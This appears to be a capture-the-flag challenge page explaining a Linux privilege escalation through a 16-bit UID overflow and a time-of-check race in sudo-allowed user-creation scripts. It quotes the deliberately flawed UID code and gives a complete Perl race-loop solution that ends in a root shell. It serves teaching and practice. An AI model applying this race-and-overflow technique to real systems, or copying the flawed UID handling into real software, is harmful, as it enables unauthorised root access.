-
Notifications
You must be signed in to change notification settings - Fork 2
Challenge 21: Overflowing with Users
Level: Very Difficult
Sudo Rule: localuser21 ALL=(ALL) NOPASSWD: /usr/local/bin/qa_users.py, /usr/local/bin/rm_qa_users.sh, /usr/bin/su - mail_qa_*
Notes: This vulnerability is made possible by an unsigned 16 bit short overflow and a TOUTOC (time of use, time of check) bug. The 16 bit UID overflow causes a mail_qa_0 user to be created with a user id of zero instead of 65536. The attacker is then able to su to this user and effectively become root.
Here is python using Numpy to generate the UID list past the current maximum UID with unsigned shorts:
# Get highest UID
uids = []
for i in pwd.getpwall():
if 'nobody' not in i[0]:
uids.append(i[2])
x = np.array(uids)
start_uid = np.add(np.amax(x), 1, dtype=np.ushort)
# Generate our UID list.
a = np.array(list(range(100)), dtype=np.ushort)
qa_uids = np.add(a, start_uid) # ← Where the overflow happens
I was inspired to create this challenge based on a common problem I stumbled upon many years ago with various BBS services and IRC bots. Invoking two simultaneous new user login sessions, with the same username, and then saving them at the same time would often result in serious bugs.
The solution for this challenge is to alternate adding and removing the mail_qa_user set using the two scripts, while bumping the maximum UID until it overflows. Users must be removed after the script is started, but before the script checks to see if the users already exist. This race is made easier to accomplish by the input prompt for GECOS information.
There may be other solutions involving temporary file manipulation, or injecting utf-8 GECOS data that bytes() mangles in just the right way to shortcut the account creation, but the deliberate purpose for those elements are to serve as red herrings.
Solution:
sudo -l
cat /usr/local/bin/rm_qa_users.sh
cat /usr/local/bin/qa_users.py
cat > user_collision.pl << EOF
#!/usr/bin/perl
while(true){
open(QA, "|sudo /usr/local/bin/qa_users.py");
`sudo /usr/local/bin/rm_qa_users.sh`;
print QA "gecos\n";
close(QA);
if(getpwnam('mail_qa_0')){
print("Success! mail_qa_0 exists.\n");
exit(0);
}
$x++;
print "Gen: $x\n";
}
EOF
chmod +x user_collision.pl
./user_collision.pl
# … time passes …
sudo su - mail_qa_0
id